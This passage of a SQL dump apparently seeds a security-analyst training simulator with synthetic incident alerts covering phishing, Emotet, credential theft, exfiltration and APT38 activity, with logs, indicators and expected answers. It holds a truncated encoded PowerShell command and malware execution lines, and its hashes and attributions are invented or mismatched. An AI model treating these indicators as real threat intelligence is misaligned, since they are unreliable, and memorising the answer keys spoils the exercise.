6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1452, 'Malicious Document Execution', 'high', 'Endpoint protection alerts', 'Following the phishing success, a malicious document is executed on the victim\'s device, deploying malware designed to extract stored credentials.', 'Malware Deployment', 'T1203 - Exploitation for Client Execution', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-13T14:23:45Z\",\"event_id\":\"4567\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.0.15\",\"filename\":\"invoice_2023.docx\",\"file_hash\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"user\":\"jdoe\",\"device_name\":\"JD-LAPTOP\",\"malware_family\":\"Emotet\",\"action_taken\":\"File quarantined\"}', '2026-03-07 00:50:13', '2026-03-09 05:49:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Emotet malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice_2023.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Protection Logs\",\"verdict\":\"suspicious\",\"details\":\"File commonly used in phishing schemes.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Emotet payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account on the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1453, 'Credential Harvesting via Password Manager Exploit', 'high', 'Password manager access logs', 'CryptoCore exploits vulnerabilities in the password manager software, siphoning off sensitive credentials for further access.', 'Credential Access', 'T1003.005', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_id\":\"PM-2023-1005-0003\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"user\":\"jdoe\",\"filename\":\"password_manager_exploit_v2.dll\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"event\":\"Unauthorized Access\",\"description\":\"Detected exploitation of password manager vulnerability using known exploit DLL.\"}', '2026-03-07 00:50:13', '2026-03-09 05:50:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"password_manager_exploit_v2.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDB\",\"verdict\":\"malicious\",\"details\":\"Exploit DLL used in targeting password managers.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known exploit used by CryptoCore.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:13:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:12:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"},{\"timestamp\":\"2026-03-07T14:11:20.840Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_id\\\":\\\"PM-2023-1005-0003\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"password_manager_exploit_v2.dll\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"event\\\":\\\"Unauthorized Access\\\",\\\"description\\\":\\\"Detected exploitation of password manager vulnerability using known exploit DLL.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1454, 'Lateral Movement Detected', 'high', 'Network intrusion detection system', 'Armed with harvested credentials, the attackers penetrate deeper into the network, seeking access to the exchange\'s core financial systems.', 'Internal Network Propagation', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"event_id\":\"evt-45678\",\"source_ip\":\"10.5.3.25\",\"destination_ip\":\"192.168.14.45\",\"attacker_ip\":\"203.0.113.15\",\"username\":\"jdoe\",\"filename\":\"malicious_payload.exe\",\"hash\":\"3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\",\"event_type\":\"lateral_movement\",\"description\":\"Suspicious lateral movement detected using harvested credentials to access core financial systems.\",\"protocol\":\"SMB\",\"action\":\"access_granted\"}', '2026-03-07 00:50:13', '2026-03-09 05:51:41', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.5.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.14.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP targeted for access.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Public IP associated with known malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account suspected of being compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Identified as part of a known malware toolkit.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious software.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1455, 'Data Exfiltration Attempt', 'high', 'Data loss prevention system', 'CryptoCore executed a final exfiltration attempt to transfer substantial volumes of financial data and cryptocurrency to external wallets.', 'Data Theft', 'T1041: Exfiltration Over C2 Channel', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T10:45:23Z\",\"event\":{\"type\":\"data_exfiltration_attempt\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.93.1.23\",\"username\":\"jane.doe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"financial_report_Q3.xlsx\",\"destination_wallet\":\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\",\"protocol\":\"HTTPS\",\"data_volume\":\"2GB\"}}', '2026-03-07 00:50:13', '2026-03-09 05:52:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with the exfiltration attempt.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.93.1.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used in previous CryptoCore operations.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"User account involved in the data exfiltration attempt.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"suspicious\",\"details\":\"Hash of file associated with suspicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_report_Q3.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"clean\",\"details\":\"Regular financial report file.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:14:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:13:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:12:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"},{\"timestamp\":\"2026-03-07T14:11:20.844Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T10:45:23Z\\\",\\\"event\\\":{\\\"type\\\":\\\"data_exfiltration_attempt\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"185.93.1.23\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"file_name\\\":\\\"financial_report_Q3.xlsx\\\",\\\"destination_wallet\\\":\\\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"2GB\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1456, 'Suspicious Access to Transaction Switch', 'high', 'Network Logs', 'An unauthorized access attempt was detected targeting the bank\'s transaction switch system. This activity is indicative of an initial access phase by APT38, known for financial theft and destructive operations.', 'Initial Access', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T02:45:37Z\",\"event_id\":\"1005\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.50\",\"destination_port\":\"8080\",\"protocol\":\"TCP\",\"action\":\"ALLOWED\",\"username\":\"j.doe\",\"attempted_resource\":\"/bank/transaction/switch\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"APT38_tool.bin\"}', '2026-03-07 00:50:56', '2026-03-09 05:41:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT38 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of bank\'s transaction switch.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT38 malware tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"APT38_tool.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Executable used in APT38\'s operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1457, 'Malicious Code Execution Detected', 'critical', 'Endpoint Detection and Response (EDR)', 'A custom malware was executed on the host to alter transaction codes, enabling unauthorized withdrawals from targeted ATMs.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"EDR-2023-1005-001\",\"source_ip\":\"185.92.220.123\",\"destination_ip\":\"192.168.10.25\",\"username\":\"atm_operator\",\"executed_process\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"command_line\":\"cmd.exe /c C:\\\\Malware\\\\ATMCodeChanger.exe\",\"file_hash\":\"b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\",\"malware_filename\":\"ATMCodeChanger.exe\",\"severity\":\"Critical\",\"description\":\"Execution of a known malicious file associated with unauthorized transaction manipulation.\"}', '2026-03-07 00:50:56', '2026-03-09 05:43:01', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Lazarus Group malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted endpoint.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ATMCodeChanger.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Filename associated with unauthorized transaction manipulation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1458, 'Establishing Persistent Access', 'high', 'System Configuration Logs', 'APT38 has been detected establishing persistent access within the bank\'s infrastructure by creating backdoors. The operation involves setting up scheduled tasks and modifying startup scripts to maintain control over the compromised systems.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"4625\",\"hostname\":\"bankserver01\",\"user\":\"SYSTEM\",\"src_ip\":\"192.168.1.45\",\"attacker_ip\":\"51.15.123.45\",\"scheduled_task\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\UpdateCheck\",\"malware_filename\":\"svchost.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Task Created\",\"description\":\"A scheduled task was created to run malicious executable at startup.\"}', '2026-03-07 00:50:56', '2026-03-09 05:44:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"51.15.123.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by Lazarus Group\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"svchost.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious executable mimicking legitimate system process\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-07T14:15:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"hostname\\\":\\\"bankserver01\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"src_ip\\\":\\\"192.168.1.45\\\",\\\"attacker_ip\\\":\\\"51.15.123.45\\\",\\\"scheduled_task\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\Tasks\\\\\\\\UpdateCheck\\\",\\\"malware_filename\\\":\\\"svchost.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Task Created\\\",\\\"description\\\":\\\"A scheduled task was created to run malicious executable at startup.\\\"}\"},{\"timestamp\":\"2026-03-07T14:14:20.848Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 